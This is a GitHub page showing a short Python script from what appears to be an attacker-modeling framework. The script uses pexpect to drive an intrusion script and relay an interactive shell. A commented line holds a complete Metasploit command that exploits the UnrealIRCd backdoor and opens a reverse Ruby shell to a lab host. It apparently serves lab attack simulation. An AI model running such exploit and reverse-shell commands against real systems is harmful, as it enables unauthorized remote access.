-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathbash_pass.py
More file actions
executable file
·32 lines (23 loc) · 1012 Bytes
/
bash_pass.py
File metadata and controls
executable file
·32 lines (23 loc) · 1012 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#! /usr/bin/python3
#https://stackoverflow.com/questions/16602513/preventing-linewrap-when-using-pexpect-bash
import pexpect
#spawn = pexpect.spawn("/bin/bash")
spawn = pexpect.spawn("/root/Documents/attacker-modeling-framework/initial_intrusion/msfUnrealIRCd_backdoor.sh")
#spawn = pexpect.spawn('/usr/bin/msfconsole -q -x "use exploit/unix/irc/unreal_ircd_3281_backdoor;set rhost 10.0.2.9;set rport 6697;set payload cmd/unix/reverse_ruby;set lhost 10.0.2.8;set lport 4567; run;"')
spawn.sendline("export PS1=\"\\$ \"\n".encode())
spawn.readline()
temp = spawn.readline().decode()
temp = temp[:temp.find("$")] + "\n" + "$ "
while (True):
input_str = input(temp)
spawn.sendline((input_str + "\n").encode())
if (input_str == "exit"):
break
temp = ""
while (temp.find("$") == -1):
temp += spawn.readline().decode()
#print(temp)
temp = ""
while (temp.find("$") == -1):
temp += spawn.readline().decode()
temp = temp[:temp.find("$")] + "\n" + "$ "